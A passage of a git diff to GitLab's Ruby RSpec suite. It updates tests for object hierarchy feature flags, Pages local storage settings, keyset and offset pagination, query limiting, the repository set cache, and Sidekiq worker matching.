it 'uses ancestors_base #initialize argument for ancestors' do
- relation = described_class.new(Group.where(id: child1.id), Group.where(id: non_existing_record_id)).all_objects
+ relation = described_class.new(Group.where(id: child1.id), Group.where(id: non_existing_record_id), options: options).all_objects
expect(relation).to include(parent)
end
it 'uses descendants_base #initialize argument for descendants' do
- relation = described_class.new(Group.where(id: non_existing_record_id), Group.where(id: child1.id)).all_objects
+ relation = described_class.new(Group.where(id: non_existing_record_id), Group.where(id: child1.id), options: options).all_objects
expect(relation).to include(child2)
end
@@ -187,19 +189,78 @@ RSpec.describe Gitlab::ObjectHierarchy do
context 'when the use_distinct_in_object_hierarchy feature flag is enabled' do
before do
stub_feature_flags(use_distinct_in_object_hierarchy: true)
+ stub_feature_flags(use_distinct_for_all_object_hierarchy: false)
+ end
+
+ it_behaves_like 'Gitlab::ObjectHierarchy test cases'
+
+ it 'calls DISTINCT' do
+ expect(child2.self_and_ancestors.to_sql).to include("DISTINCT")
+ end
+
+ context 'when use_traversal_ids feature flag is enabled' do
+ it 'does not call DISTINCT' do
+ expect(parent.self_and_descendants.to_sql).not_to include("DISTINCT")
+ end
+ end
+
+ context 'when use_traversal_ids feature flag is disabled' do
+ before do
+ stub_feature_flags(use_traversal_ids: false)
+ end
+
+ it 'calls DISTINCT' do
+ expect(parent.self_and_descendants.to_sql).to include("DISTINCT")
+ end
+ end
+ end
+
+ context 'when the use_distinct_for_all_object_hierarchy feature flag is enabled' do
+ before do
+ stub_feature_flags(use_distinct_in_object_hierarchy: false)
+ stub_feature_flags(use_distinct_for_all_object_hierarchy: true)
end
it_behaves_like 'Gitlab::ObjectHierarchy test cases'
it 'calls DISTINCT' do
- expect(parent.self_and_descendants.to_sql).to include("DISTINCT")
expect(child2.self_and_ancestors.to_sql).to include("DISTINCT")
end
+
+ context 'when use_traversal_ids feature flag is enabled' do
+ it 'does not call DISTINCT' do
+ expect(parent.self_and_descendants.to_sql).not_to include("DISTINCT")
+ end
+ end
+
+ context 'when use_traversal_ids feature flag is disabled' do
+ before do
+ stub_feature_flags(use_traversal_ids: false)
+ end
+
+ it 'calls DISTINCT' do
+ expect(parent.self_and_descendants.to_sql).to include("DISTINCT")
+ end
+
+ context 'when the skip_ordering option is set' do
+ let(:options) { { skip_ordering: true } }
+
+ it_behaves_like 'Gitlab::ObjectHierarchy test cases'
+
+ it 'does not include ROW_NUMBER()' do
+ query = described_class.new(Group.where(id: parent.id), options: options).base_and_descendants.to_sql
+
+ expect(query).to include("DISTINCT")
+ expect(query).not_to include("ROW_NUMBER()")
+ end
+ end
+ end
end
context 'when the use_distinct_in_object_hierarchy feature flag is disabled' do
before do
stub_feature_flags(use_distinct_in_object_hierarchy: false)
+ stub_feature_flags(use_distinct_for_all_object_hierarchy: false)
end
it_behaves_like 'Gitlab::ObjectHierarchy test cases'
diff --git a/spec/lib/gitlab/pages/settings_spec.rb b/spec/lib/gitlab/pages/settings_spec.rb
index f5424a98153..c89bf9ff206 100644
--- a/spec/lib/gitlab/pages/settings_spec.rb
+++ b/spec/lib/gitlab/pages/settings_spec.rb
@@ -3,11 +3,11 @@
require 'spec_helper'
RSpec.describe Gitlab::Pages::Settings do
+ let(:settings) { double(path: 'the path', local_store: 'local store') }
+
describe '#path' do
subject { described_class.new(settings).path }
- let(:settings) { double(path: 'the path') }
-
it { is_expected.to eq('the path') }
context 'when running under a web server outside of test mode' do
@@ -16,9 +16,43 @@ RSpec.describe Gitlab::Pages::Settings do
allow(::Gitlab::Runtime).to receive(:web_server?).and_return(true)
end
- it 'raises a DiskAccessDenied exception' do
- expect { subject }.to raise_error(described_class::DiskAccessDenied)
+ it 'logs a DiskAccessDenied error' do
+ expect(Gitlab::ErrorTracking).to receive(:track_exception).with(
+ instance_of(described_class::DiskAccessDenied)
+ )
+
+ subject
+ end
+ end
+
+ context 'when local_store settings does not exist yet' do
+ before do
+ allow(Settings.pages).to receive(:local_store).and_return(nil)
end
+
+ it { is_expected.to eq('the path') }
+ end
+
+ context 'when local store exists but legacy storage is disabled' do
+ before do
+ allow(Settings.pages.local_store).to receive(:enabled).and_return(false)
+ end
+
+ it 'logs a DiskAccessDenied error' do
+ expect(Gitlab::ErrorTracking).to receive(:track_exception).with(
+ instance_of(described_class::DiskAccessDenied)
+ )
+
+ subject
+ end
+ end
+ end
+
+ describe '#local_store' do
+ subject(:local_store) { described_class.new(settings).local_store }
+
+ it 'is an instance of Gitlab::Pages::Stores::LocalStore' do
+ expect(local_store).to be_a(Gitlab::Pages::Stores::LocalStore)
end
end
end
diff --git a/spec/lib/gitlab/pages/stores/local_store_spec.rb b/spec/lib/gitlab/pages/stores/local_store_spec.rb
new file mode 100644
index 00000000000..adab81b2589
--- /dev/null
+++ b/spec/lib/gitlab/pages/stores/local_store_spec.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Pages::Stores::LocalStore do
+ describe '#enabled' do
+ let(:local_store) { double(enabled: true) }
+
+ subject(:local_store_enabled) { described_class.new(local_store).enabled }
+
+ context 'when the pages_update_legacy_storage FF is disabled' do
+ before do
+ stub_feature_flags(pages_update_legacy_storage: false)
+ end
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when the pages_update_legacy_storage FF is enabled' do
+ it 'is equal to the original value' do
+ expect(local_store_enabled).to eq(local_store.enabled)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/pages_transfer_spec.rb b/spec/lib/gitlab/pages_transfer_spec.rb
index 552a2e0701c..021d9cb7318 100644
--- a/spec/lib/gitlab/pages_transfer_spec.rb
+++ b/spec/lib/gitlab/pages_transfer_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe Gitlab::PagesTransfer do
end
it 'does nothing if legacy storage is disabled' do
- stub_feature_flags(pages_update_legacy_storage: false)
+ allow(Settings.pages.local_store).to receive(:enabled).and_return(false)
described_class::METHODS.each do |meth|
expect(PagesTransferWorker)
@@ -72,7 +72,7 @@ RSpec.describe Gitlab::PagesTransfer do
end
it 'does nothing if legacy storage is disabled' do
- stub_feature_flags(pages_update_legacy_storage: false)
+ allow(Settings.pages.local_store).to receive(:enabled).and_return(false)
subject.public_send(meth, *args)
diff --git a/spec/lib/gitlab/pagination/keyset/order_spec.rb b/spec/lib/gitlab/pagination/keyset/order_spec.rb
index 665f790ee47..06a8aee1048 100644
--- a/spec/lib/gitlab/pagination/keyset/order_spec.rb
+++ b/spec/lib/gitlab/pagination/keyset/order_spec.rb
@@ -417,4 +417,59 @@ RSpec.describe Gitlab::Pagination::Keyset::Order do
end
end
end
+
+ context 'extract and apply cursor attributes' do
+ let(:model) { Project.new(id: 100) }
+ let(:scope) { Project.all }
+
+ shared_examples 'cursor attribute examples' do
+ describe '#cursor_attributes_for_node' do
+ it { expect(order.cursor_attributes_for_node(model)).to eq({ id: '100' }.with_indifferent_access) }
+ end
+
+ describe '#apply_cursor_conditions' do
+ context 'when params with string keys are passed' do
+ subject(:sql) { order.apply_cursor_conditions(scope, { 'id' => '100' }).to_sql }
+
+ it { is_expected.to include('"projects"."id" < 100)') }
+ end
+
+ context 'when params with symbol keys are passed' do
+ subject(:sql) { order.apply_cursor_conditions(scope, { id: '100' }).to_sql }
+
+ it { is_expected.to include('"projects"."id" < 100)') }
+ end
+ end
+ end
+
+ context 'when string attribute name is given' do
+ let(:order) do
+ Gitlab::Pagination::Keyset::Order.build([
+ Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
+ attribute_name: 'id',
+ order_expression: Project.arel_table['id'].desc,
+ nullable: :not_nullable,
+ distinct: true
+ )
+ ])
+ end
+
+ it_behaves_like 'cursor attribute examples'
+ end
+
+ context 'when symbol attribute name is given' do
+ let(:order) do
+ Gitlab::Pagination::Keyset::Order.build([
+ Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
+ attribute_name: :id,
+ order_expression: Project.arel_table['id'].desc,
+ nullable: :not_nullable,
+ distinct: true
+ )
+ ])
+ end
+
+ it_behaves_like 'cursor attribute examples'
+ end
+ end
end
diff --git a/spec/lib/gitlab/pagination/offset_header_builder_with_controller_spec.rb b/spec/lib/gitlab/pagination/offset_header_builder_with_controller_spec.rb
new file mode 100644
index 00000000000..85e4b621e83
--- /dev/null
+++ b/spec/lib/gitlab/pagination/offset_header_builder_with_controller_spec.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Pagination::OffsetHeaderBuilder, type: :controller do
+ controller(ActionController::Base) do
+ def index
+ relation = Project.where(archived: params[:archived]).page(params[:page]).order(:id).per(1)
+
+ params_for_pagination = { archived: params[:archived], page: params[:page] }
+
+ Gitlab::Pagination::OffsetHeaderBuilder.new(
+ request_context: self,
+ per_page: relation.limit_value,
+ page: relation.current_page,
+ next_page: relation.next_page,
+ prev_page: relation.prev_page,
+ params: params_for_pagination
+ ).execute(exclude_total_headers: true, data_without_counts: true)
+
+ render json: relation.map(&:id)
+ end
+ end
+
+ let_it_be(:projects) { create_list(:project, 2, archived: true).sort_by(&:id) }
+
+ describe 'pagination' do
+ it 'returns correct result for the first page' do
+ get :index, params: { page: 1, archived: true }
+
+ expect(json_response).to eq([projects.first.id])
+ end
+
+ it 'returns correct result for the second page' do
+ get :index, params: { page: 2, archived: true }
+
+ expect(json_response).to eq([projects.last.id])
+ end
+ end
+
+ describe 'pagination heders' do
+ it 'adds next page header' do
+ get :index, params: { page: 1, archived: true }
+
+ expect(response.headers['X-Next-Page']).to eq('2')
+ end
+
+ it 'adds only the specified params to the lnk' do
+ get :index, params: { page: 1, archived: true, some_param: '1' }
+
+ expect(response.headers['Link']).not_to include('some_param')
+ end
+ end
+end
diff --git a/spec/lib/gitlab/phabricator_import/cache/map_spec.rb b/spec/lib/gitlab/phabricator_import/cache/map_spec.rb
index 08ac85c2625..157b3ca56c9 100644
--- a/spec/lib/gitlab/phabricator_import/cache/map_spec.rb
+++ b/spec/lib/gitlab/phabricator_import/cache/map_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::PhabricatorImport::Cache::Map, :clean_gitlab_redis_cache do
let_it_be(:project) { create(:project) }
+
let(:redis) { Gitlab::Redis::Cache }
subject(:map) { described_class.new(project) }
diff --git a/spec/lib/gitlab/phabricator_import/issues/task_importer_spec.rb b/spec/lib/gitlab/phabricator_import/issues/task_importer_spec.rb
index 3cb15f08627..0539bacba44 100644
--- a/spec/lib/gitlab/phabricator_import/issues/task_importer_spec.rb
+++ b/spec/lib/gitlab/phabricator_import/issues/task_importer_spec.rb
@@ -3,6 +3,7 @@ require 'spec_helper'
RSpec.describe Gitlab::PhabricatorImport::Issues::TaskImporter do
let_it_be(:project) { create(:project) }
+
let(:task) do
Gitlab::PhabricatorImport::Representation::Task.new(
{
diff --git a/spec/lib/gitlab/profiler_spec.rb b/spec/lib/gitlab/profiler_spec.rb
index 89917e515d0..48e2a2e9794 100644
--- a/spec/lib/gitlab/profiler_spec.rb
+++ b/spec/lib/gitlab/profiler_spec.rb
@@ -78,13 +78,8 @@ RSpec.describe Gitlab::Profiler do
end
it 'strips out the private token' do
- expect(custom_logger).to receive(:add) do |severity, _progname, message|
- next if message.include?('spec/')
-
- expect(severity).to eq(Logger::DEBUG)
- expect(message).to include('public').and include(described_class::FILTERED_STRING)
- expect(message).not_to include(private_token)
- end.at_least(1) # This spec could be wrapped in more blocks in the future
+ allow(custom_logger).to receive(:add).and_call_original
+ expect(custom_logger).to receive(:add).with(Logger::DEBUG, anything, 'public [FILTERED]').at_least(1)
custom_logger.debug("public #{private_token}")
end
diff --git a/spec/lib/gitlab/prometheus/adapter_spec.rb b/spec/lib/gitlab/prometheus/adapter_spec.rb
index 4762e4ad108..9d4806ea73b 100644
--- a/spec/lib/gitlab/prometheus/adapter_spec.rb
+++ b/spec/lib/gitlab/prometheus/adapter_spec.rb
@@ -32,6 +32,14 @@ RSpec.describe Gitlab::Prometheus::Adapter do
context "prometheus service can't execute queries" do
let(:prometheus_service) { double(:prometheus_service, can_query?: false) }
+ context 'with cluster with prometheus integration' do
+ let!(:prometheus_integration) { create(:clusters_integrations_prometheus, cluster: cluster) }
+
+ it 'returns the integration' do
+ expect(subject.prometheus_adapter).to eq(prometheus_integration)
+ end
+ end
+
context 'with cluster with prometheus not available' do
let!(:prometheus) { create(:clusters_applications_prometheus, :installable, cluster: cluster) }
@@ -46,6 +54,14 @@ RSpec.describe Gitlab::Prometheus::Adapter do
it 'returns application handling all environments' do
expect(subject.prometheus_adapter).to eq(prometheus)
end
+
+ context 'with cluster with prometheus integration' do
+ let!(:prometheus_integration) { create(:clusters_integrations_prometheus, cluster: cluster) }
+
+ it 'returns the integration instead' do
+ expect(subject.prometheus_adapter).to eq(prometheus_integration)
+ end
+ end
end
context 'with cluster without prometheus installed' do
diff --git a/spec/lib/gitlab/query_limiting/transaction_spec.rb b/spec/lib/gitlab/query_limiting/transaction_spec.rb
index 40804736b86..76bb2b4c4cc 100644
--- a/spec/lib/gitlab/query_limiting/transaction_spec.rb
+++ b/spec/lib/gitlab/query_limiting/transaction_spec.rb
@@ -68,11 +68,15 @@ RSpec.describe Gitlab::QueryLimiting::Transaction do
it 'increments the number of executed queries' do
transaction = described_class.new
- expect(transaction.count).to be_zero
+ expect { transaction.increment }.to change { transaction.count }.by(1)
+ end
+
+ it 'does not increment the number of executed queries when query limiting is disabled' do
+ transaction = described_class.new
- transaction.increment
+ allow(transaction).to receive(:enabled?).and_return(false)
- expect(transaction.count).to eq(1)
+ expect { transaction.increment }.not_to change { transaction.count }
end
end
diff --git a/spec/lib/gitlab/query_limiting_spec.rb b/spec/lib/gitlab/query_limiting_spec.rb
index 4f70c65adca..fbb12629056 100644
--- a/spec/lib/gitlab/query_limiting_spec.rb
+++ b/spec/lib/gitlab/query_limiting_spec.rb
@@ -2,81 +2,85 @@
require 'spec_helper'
-RSpec.describe Gitlab::QueryLimiting do
- describe '.enable?' do
+RSpec.describe Gitlab::QueryLimiting, :request_store do
+ describe '.enabled_for_env?' do
it 'returns true in a test environment' do
- expect(described_class.enable?).to eq(true)
+ expect(described_class.enabled_for_env?).to eq(true)
end
it 'returns true in a development environment' do
stub_rails_env('development')
stub_rails_env('development')
- expect(described_class.enable?).to eq(true)
+ expect(described_class.enabled_for_env?).to eq(true)
end
it 'returns false on GitLab.com' do
stub_rails_env('production')
allow(Gitlab).to receive(:com?).and_return(true)
- expect(described_class.enable?).to eq(false)
+ expect(described_class.enabled_for_env?).to eq(false)
end
it 'returns false in a non GitLab.com' do
allow(Gitlab).to receive(:com?).and_return(false)
stub_rails_env('production')
- expect(described_class.enable?).to eq(false)
+ expect(described_class.enabled_for_env?).to eq(false)
end
end
- describe '.whitelist' do
- it 'raises ArgumentError when an invalid issue URL is given' do
- expect { described_class.whitelist('foo') }
- .to raise_error(ArgumentError)
+ shared_context 'disable and enable' do |result|
+ let(:transaction) { Gitlab::QueryLimiting::Transaction.new }
+ let(:code) do
+ proc do
+ 2.times { User.count }
+ end
end
- context 'without a transaction' do
- it 'does nothing' do
- expect { described_class.whitelist('https://example.com') }
- .not_to raise_error
- end
+ before do
+ allow(Gitlab::QueryLimiting::Transaction)
+ .to receive(:current)
+ .and_return(transaction)
end
+ end
- context 'with a transaction' do
- let(:transaction) { Gitlab::QueryLimiting::Transaction.new }
+ describe '.disable!' do
+ include_context 'disable and enable'
- before do
- allow(Gitlab::QueryLimiting::Transaction)
- .to receive(:current)
- .and_return(transaction)
- end
+ it 'raises an ArgumentError when an invalid issue URL is given' do
+ expect { described_class.disable!('foo') }
+ .to raise_error(ArgumentError)
+ end
- it 'does not increment the number of SQL queries executed in the block' do
- before = transaction.count
+ it 'stops the number of SQL queries from being incremented' do
+ described_class.disable!('https://example.com')
- described_class.whitelist('https://example.com')
+ expect { code.call }.not_to change { transaction.count }
+ end
+ end
- 2.times do
- User.count
- end
+ describe '.enable!' do
+ include_context 'disable and enable'
- expect(transaction.count).to eq(before)
- end
+ it 'allows the number of SQL queries to be incremented' do
+ described_class.enable!
- it 'whitelists when enabled' do
- described_class.whitelist('https://example.com')
+ expect { code.call }.to change { transaction.count }.by(2)
+ end
+ end
- expect(transaction.whitelisted).to eq(true)
- end
+ describe '#enabled?' do
+ it 'returns true when enabled' do
+ Gitlab::SafeRequestStore[:query_limiting_disabled] = nil
- it 'does not whitelist when disabled' do
- allow(described_class).to receive(:enable?).and_return(false)
+ expect(described_class).to be_enabled
+ end
- described_class.whitelist('https://example.com')
+ it 'returns false when disabled' do
+ Gitlab::SafeRequestStore[:query_limiting_disabled] = true
- expect(transaction.whitelisted).to eq(false)
- end
+ expect(described_class).not_to be_enabled
end
end
end
diff --git a/spec/lib/gitlab/quick_actions/command_definition_spec.rb b/spec/lib/gitlab/quick_actions/command_definition_spec.rb
index d63c21954f2..73629ce3da2 100644
--- a/spec/lib/gitlab/quick_actions/command_definition_spec.rb
+++ b/spec/lib/gitlab/quick_actions/command_definition_spec.rb
@@ -127,10 +127,10 @@ RSpec.describe Gitlab::QuickActions::CommandDefinition do
subject.condition_block = proc { false }
end
- it "doesn't execute the command" do
+ it "counts the command as executed" do
subject.execute(context, nil)
- expect(context.commands_executed_count).to be_nil
+ expect(context.commands_executed_count).to eq(1)
expect(context.run).to be false
end
end
@@ -238,8 +238,8 @@ RSpec.describe Gitlab::QuickActions::CommandDefinition do
subject.condition_block = proc { false }
end
- it 'returns nil' do
- expect(subject.execute_message({}, nil)).to be_nil
+ it 'returns an error message' do
+ expect(subject.execute_message({}, nil)).to eq('Could not apply command command.')
end
end
diff --git a/spec/lib/gitlab/regex_spec.rb b/spec/lib/gitlab/regex_spec.rb
index 1aca3dae41b..f62a3c74005 100644
--- a/spec/lib/gitlab/regex_spec.rb
+++ b/spec/lib/gitlab/regex_spec.rb
@@ -667,7 +667,14 @@ RSpec.describe Gitlab::Regex do
it { is_expected.to match('1.2.3') }
it { is_expected.to match('1.3.350') }
- it { is_expected.not_to match('1.3.350-20201230123456') }
+ it { is_expected.to match('1.3.350-20201230123456') }
+ it { is_expected.to match('1.2.3-rc1') }
+ it { is_expected.to match('1.2.3g') }
+ it { is_expected.to match('1.2') }
+ it { is_expected.to match('1.2.bananas') }
+ it { is_expected.to match('v1.2.4-build') }
+ it { is_expected.to match('d50d836eb3de6177ce6c7a5482f27f9c2c84b672') }
+ it { is_expected.to match('this_is_a_string_only') }
it { is_expected.not_to match('..1.2.3') }
it { is_expected.not_to match(' 1.2.3') }
it { is_expected.not_to match("1.2.3 \r\t") }
diff --git a/spec/lib/gitlab/repository_cache_adapter_spec.rb b/spec/lib/gitlab/repository_cache_adapter_spec.rb
index 625dcf11546..d14c3f44c6f 100644
--- a/spec/lib/gitlab/repository_cache_adapter_spec.rb
+++ b/spec/lib/gitlab/repository_cache_adapter_spec.rb
@@ -29,10 +29,19 @@ RSpec.describe Gitlab::RepositoryCacheAdapter do
def project
end
+
+ def cached_methods
+ [:letters]
+ end
+
+ def exists?
+ true
+ end
end
end
let(:fake_repository) { klass.new }
+ let(:redis_set_cache) { fake_repository.redis_set_cache }
context 'with an existing repository' do
it 'caches the output, sorting the results' do
@@ -42,47 +51,43 @@ RSpec.describe Gitlab::RepositoryCacheAdapter do
expect(fake_repository.letters).to eq(%w(a b c))
end
- expect(fake_repository.redis_set_cache.exist?(:letters)).to eq(true)
+ expect(redis_set_cache.exist?(:letters)).to eq(true)
expect(fake_repository.instance_variable_get(:@letters)).to eq(%w(a b c))
end
context 'membership checks' do
context 'when the cache key does not exist' do
it 'calls the original method and populates the cache' do
- expect(fake_repository.redis_set_cache.exist?(:letters)).to eq(false)
+ expect(redis_set_cache.exist?(:letters)).to eq(false)
expect(fake_repository).to receive(:_uncached_letters).once.and_call_original
# This populates the cache and memoizes the full result
expect(fake_repository.letters_include?('a')).to eq(true)
expect(fake_repository.letters_include?('d')).to eq(false)
- expect(fake_repository.redis_set_cache.exist?(:letters)).to eq(true)
+ expect(redis_set_cache.exist?(:letters)).to eq(true)
end
end
context 'when the cache key exists' do
before do
- fake_repository.redis_set_cache.write(:letters, %w(b a c))
+ redis_set_cache.write(:letters, %w(b a c))
end
- it 'calls #include? on the set cache' do
- expect(fake_repository.redis_set_cache)
- .to receive(:include?).with(:letters, 'a').and_call_original
- expect(fake_repository.redis_set_cache)
- .to receive(:include?).with(:letters, 'd').and_call_original
+ it 'calls #try_include? on the set cache' do
+ expect(redis_set_cache).to receive(:try_include?).with(:letters, 'a').and_call_original
+ expect(redis_set_cache).to receive(:try_include?).with(:letters, 'd').and_call_original
expect(fake_repository.letters_include?('a')).to eq(true)
expect(fake_repository.letters_include?('d')).to eq(false)
end
it 'memoizes the result' do
- expect(fake_repository.redis_set_cache)
- .to receive(:include?).once.and_call_original
+ expect(redis_set_cache).to receive(:try_include?).once.and_call_original
expect(fake_repository.letters_include?('a')).to eq(true)
expect(fake_repository.letters_include?('a')).to eq(true)
- expect(fake_repository.redis_set_cache)
- .to receive(:include?).once.and_call_original
+ expect(redis_set_cache).to receive(:try_include?).once.and_call_original
expect(fake_repository.letters_include?('d')).to eq(false)
expect(fake_repository.letters_include?('d')).to eq(false)
diff --git a/spec/lib/gitlab/repository_set_cache_spec.rb b/spec/lib/gitlab/repository_set_cache_spec.rb
index 07f4d7c462d..eaecbb0233d 100644
--- a/spec/lib/gitlab/repository_set_cache_spec.rb
+++ b/spec/lib/gitlab/repository_set_cache_spec.rb
@@ -124,6 +124,18 @@ RSpec.describe Gitlab::RepositorySetCache, :clean_gitlab_redis_cache do
end
end
+ describe '#search' do
+ subject do
+ cache.search(:foo, 'val*') do
+ %w[value helloworld notvalmatch]
+ end
+ end
+
+ it 'returns search pattern matches from the key' do
+ is_expected.to contain_exactly('value')
+ end
+ end
+
describe '#include?' do
it 'checks inclusion in the Redis set' do
cache.write(:foo, ['value'])
@@ -132,4 +144,15 @@ RSpec.describe Gitlab::RepositorySetCache, :clean_gitlab_redis_cache do
expect(cache.include?(:foo, 'bar')).to be(false)
end
end
+
+ describe '#try_include?' do
+ it 'checks existence of the redis set and inclusion' do
+ expect(cache.try_include?(:foo, 'value')).to eq([false, false])
+
+ cache.write(:foo, ['value'])
+
+ expect(cache.try_include?(:foo, 'value')).to eq([true, true])
+ expect(cache.try_include?(:foo, 'bar')).to eq([false, true])
+ end
+ end
end
diff --git a/spec/lib/gitlab/sanitizers/exif_spec.rb b/spec/lib/gitlab/sanitizers/exif_spec.rb
index 63b2f3fc693..fbda9e6d0be 100644
--- a/spec/lib/gitlab/sanitizers/exif_spec.rb
+++ b/spec/lib/gitlab/sanitizers/exif_spec.rb
@@ -113,7 +113,7 @@ RSpec.describe Gitlab::Sanitizers::Exif do
it 'cleans only jpg/tiff images with the correct mime types' do
expect(sanitizer).not_to receive(:extra_tags)
- expect { subject }.to raise_error(RuntimeError, /File type text\/plain not supported/)
+ expect { subject }.to raise_error(RuntimeError, %r{File type text/plain not supported})
end
end
end
diff --git a/spec/lib/gitlab/search_context/builder_spec.rb b/spec/lib/gitlab/search_context/builder_spec.rb
index 5b4190fc67e..079477115bb 100644
--- a/spec/lib/gitlab/search_context/builder_spec.rb
+++ b/spec/lib/gitlab/search_context/builder_spec.rb
@@ -127,6 +127,35 @@ RSpec.describe Gitlab::SearchContext::Builder, type: :controller do
it { is_expected.to be_for_group }
it { is_expected.to be_search_context(group: group) }
+
+ context 'with group scope' do
+ let(:action_name) { '' }
+
+ before do
+ allow(controller).to receive(:controller_name).and_return('groups')
+ allow(controller).to receive(:action_name).and_return(action_name)
+ end
+
+ it 'returns nil without groups controller action' do
+ expect(subject.scope).to be(nil)
+ end
+
+ context 'when on issues scope' do
+ let(:action_name) { 'issues' }
+
+ it 'search context returns issues scope' do
+ expect(subject.scope).to be('issues')
+ end
+ end
+
+ context 'when on merge requests scope' do
+ let(:action_name) { 'merge_requests' }
+
+ it 'search context returns issues scope' do
+ expect(subject.scope).to be('merge_requests')
+ end
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/sidekiq_cluster/cli_spec.rb b/spec/lib/gitlab/sidekiq_cluster/cli_spec.rb
index 74834fb9014..43cbe71dd6b 100644
--- a/spec/lib/gitlab/sidekiq_cluster/cli_spec.rb
+++ b/spec/lib/gitlab/sidekiq_cluster/cli_spec.rb
@@ -214,7 +214,7 @@ RSpec.describe Gitlab::SidekiqCluster::CLI do
expect(Gitlab::SidekiqCluster).not_to receive(:start)
expect { cli.run(%W(#{flag} unknown_field=chatops)) }
- .to raise_error(Gitlab::SidekiqConfig::CliMethods::QueryError)
+ .to raise_error(Gitlab::SidekiqConfig::WorkerMatcher::QueryError)
end
end
end
diff --git a/spec/lib/gitlab/sidekiq_config/cli_methods_spec.rb b/spec/lib/gitlab/sidekiq_config/cli_methods_spec.rb
index 01e7c06249a..bc63289a344 100644
--- a/spec/lib/gitlab/sidekiq_config/cli_methods_spec.rb
+++ b/spec/lib/gitlab/sidekiq_config/cli_methods_spec.rb
@@ -1,7 +1,6 @@
# frozen_string_literal: true
require 'fast_spec_helper'
-require 'rspec-parameterized'
RSpec.describe Gitlab::SidekiqConfig::CliMethods do
let(:dummy_root) { '/tmp/' }
@@ -122,10 +121,8 @@ RSpec.describe Gitlab::SidekiqConfig::CliMethods do
end
end
- describe '.query_workers' do
- using RSpec::Parameterized::TableSyntax
-
- let(:queues) do
+ describe '.query_queues' do
+ let(:worker_metadatas) do
[
{
name: 'a',
@@ -162,79 +159,16 @@ RSpec.describe Gitlab::SidekiqConfig::CliMethods do
]
end
- context 'with valid input' do
- where(:query, :selected_queues) do
- # feature_category
- 'feature_category=category_a' | %w(a a:2)
- 'feature_category=category_a,category_c' | %w(a a:2 c)
- 'feature_category=category_a|feature_category=category_c' | %w(a a:2 c)
- 'feature_category!=category_a' | %w(b c)
-
- # has_external_dependencies
- 'has_external_dependencies=true' | %w(b)
- 'has_external_dependencies=false' | %w(a a:2 c)
- 'has_external_dependencies=true,false' | %w(a a:2 b c)
- 'has_external_dependencies=true|has_external_dependencies=false' | %w(a a:2 b c)
- 'has_external_dependencies!=true' | %w(a a:2 c)
-
- # urgency
- 'urgency=high' | %w(a:2 b)
- 'urgency=low' | %w(a)
- 'urgency=high,low,throttled' | %w(a a:2 b c)
- 'urgency=low|urgency=throttled' | %w(a c)
- 'urgency!=high' | %w(a c)
-
- # name
- 'name=a' | %w(a)
- 'name=a,b' | %w(a b)
- 'name=a,a:2|name=b' | %w(a a:2 b)
- 'name!=a,a:2' | %w(b c)
-
- # resource_boundary
- 'resource_boundary=memory' | %w(b c)
- 'resource_boundary=memory,cpu' | %w(a b c)
- 'resource_boundary=memory|resource_boundary=cpu' | %w(a b c)
- 'resource_boundary!=memory,cpu' | %w(a:2)
-
- # tags
- 'tags=no_disk_io' | %w(a b)
- 'tags=no_disk_io,git_access' | %w(a a:2 b)
- 'tags=no_disk_io|tags=git_access' | %w(a a:2 b)
- 'tags=no_disk_io&tags=git_access' | %w(a)
- 'tags!=no_disk_io' | %w(a:2 c)
- 'tags!=no_disk_io,git_access' | %w(c)
- 'tags=unknown_tag' | []
- 'tags!=no_disk_io' | %w(a:2 c)
- 'tags!=no_disk_io,git_access' | %w(c)
- 'tags!=unknown_tag' | %w(a a:2 b c)
-
- # combinations
- 'feature_category=category_a&urgency=high' | %w(a:2)
- 'feature_category=category_a&urgency=high|feature_category=category_c' | %w(a:2 c)
- end
+ let(:worker_matcher) { double(:WorkerMatcher) }
+ let(:query) { 'feature_category=category_a,category_c' }
- with_them do
- it do
- expect(described_class.query_workers(query, queues))
- .to match_array(selected_queues)
- end
- end
+ before do
+ allow(::Gitlab::SidekiqConfig::WorkerMatcher).to receive(:new).with(query).and_return(worker_matcher)
+ allow(worker_matcher).to receive(:match?).and_return(true, true, false, true)
end
- context 'with invalid input' do
- where(:query, :error) do
- 'feature_category="category_a"' | described_class::InvalidTerm
- 'feature_category=' | described_class::InvalidTerm
- 'feature_category~category_a' | described_class::InvalidTerm
- 'worker_name=a' | described_class::UnknownPredicate
- end
-
- with_them do
- it do
- expect { described_class.query_workers(query, queues) }
- .to raise_error(error)
- end
- end
+ it 'returns the queue names of matched workers' do
+ expect(described_class.query_queues(query, worker_metadatas)).to match(%w(a a:2 c))
end
end
end
diff --git a/spec/lib/gitlab/sidekiq_config/worker_matcher_spec.rb b/spec/lib/gitlab/sidekiq_config/worker_matcher_spec.rb
new file mode 100644
index 00000000000..75e9c8c100b
--- /dev/null
+++ b/spec/lib/gitlab/sidekiq_config/worker_matcher_spec.rb
@@ -0,0 +1,129 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require 'rspec-parameterized'
+
+RSpec.describe Gitlab::SidekiqConfig::WorkerMatcher do
+ describe '#match?' do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:worker_metadatas) do
+ [
+ {
+ name: 'a',
+ feature_category: :category_a,
+ has_external_dependencies: false,
+ urgency: :low,
+ resource_boundary: :cpu,
+ tags: [:no_disk_io, :git_access]
+ },
+ {
+ name: 'a:2',
+ feature_category: :category_a,
+ has_external_dependencies: false,
+ urgency: :high,
+ resource_boundary: :none,
+ tags: [:git_access]
+ },
+ {
+ name: 'b',
+ feature_category: :category_b,
+ has_external_dependencies: true,
+ urgency: :high,
+ resource_boundary: :memory,
+ tags: [:no_disk_io]
+ },
+ {
+ name: 'c',
+ feature_category: :category_c,
+ has_external_dependencies: false,
+ urgency: :throttled,
+ resource_boundary: :memory,
+ tags: []
+ }
+ ]
+ end
+
+ context 'with valid input' do
+ where(:query, :expected_metadatas) do
+ # feature_category
+ 'feature_category=category_a' | %w(a a:2)
+ 'feature_category=category_a,category_c' | %w(a a:2 c)
